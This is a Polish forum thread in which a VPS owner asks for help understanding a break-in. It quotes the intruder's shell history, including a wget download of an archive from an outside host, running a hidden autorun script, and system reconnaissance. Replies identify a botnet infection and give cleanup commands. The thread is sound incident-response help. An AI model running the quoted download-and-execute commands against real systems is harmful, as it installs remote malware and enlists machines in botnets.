Włam

[dupoglowa]

Witam,
Mam VPS, który służy mi do testów i wlaśnie zauważyłem, że ktoś logował sie jako jeden z userów, rozpakował archiwum, odpalil pare swoich skryptów i poszedł. Czy ktoś może pomóc ustalić w celach edukacyjnych co sie wydarzyło?
Pozdrawiam

[dupoglowa]

Gosc opdalil:
w
uname -a
perl -v
passwd
wget costamcostam.ro
tar -zxvf unu.tgz
rm -rf unu.tgz
cd .s
ls
./autorun
less /etc/xinetd.conf
strings /sbin/* | grep host_access
su -
last
netstat
exit

[mateo86]

W archiwum było kilka exploitów + kilka innych narzędzi za pomocą których próbował zdobyć uprawnienia roota.
Jeśli mu się to nie udało, poszedł sobie podłamany i kiedyś być może spróbuje wrócić z innymi narzędziami.
Jeśli mu się to udało, to być może zapewnił sobie dostęp do roota (zmieniając jego hasło), bądź jako zwykły użytkowniki z uprawnieniami roota zainstalował jakieś backdoory, trojany lub czort wie co jeszcze, za pomocą których będzie mógł w przyszłości tu wrócić, kontrolować Twojego VPS, podmieniać jego zawartośc, dołączyć go do swojego botneta lub czort wie co jeszcze - ciężko zgadywać, jak nie widzi się skryptów. Jak masz to archiwum to podrzuć, może ktoś wyjaśni co dokładnie zostało zrobione u Ciebie w systemie.

Daj cała komendę wget, dokładnie. Będzie można określić co jest w archiwum + skąd zostało pobrane.

[dupoglowa]

wget pwlamea.hi2.ro/unu.tgz
Ponad to netstat pokazuje, że mam ustanowione połączenie z tampa.fl.us.undernet.o:ircd

[mateo86]

To znaczy, że atak był udany, zaraz zerknę to w tym archiwum jest. Prawdopodobnie należysz do któregoś z botnetów ;P

[mateo86]

Ok, mam 2 dwie wiadomości dobrą i zła
Zła jest taka, że Twój VPS jest jednym z wielu komputerów botnetu.

Dobra jest taka, że można sobie z tym bardzo łatwo poradzić
Pewna niedogodność jest taka, że musisz to stosunkowo szybko wykonać, bo zostało wrzucone do crona automatyczne uruchamianie tych procesów co minutę.

Najpierw musisz zatrzymać uruchomione procesy:

Kod: [Zaznacz]

kill -- -sh
kill pico

Potem musisz usunąć katalog .s ze wszystkim co w nim jest

Kod: [Zaznacz]

rm -rf .s

Najlepiej zrobić to za pomocą jednego polecenia:

Kod: [Zaznacz]

kill -- -sh && kill pico && rm -rf .s

Wykonujesz to w swoim katalogo domowym.

Na koniec jeszcze musisz z crona wywalić uruchamianie programu .s/update - poczytaj o tym w sieci.
Jak tego nie zrobisz, to nic strasznego się nie stanie, będziesz otrzymywał tylko w logach błąd, że nie może znaleźć pliku.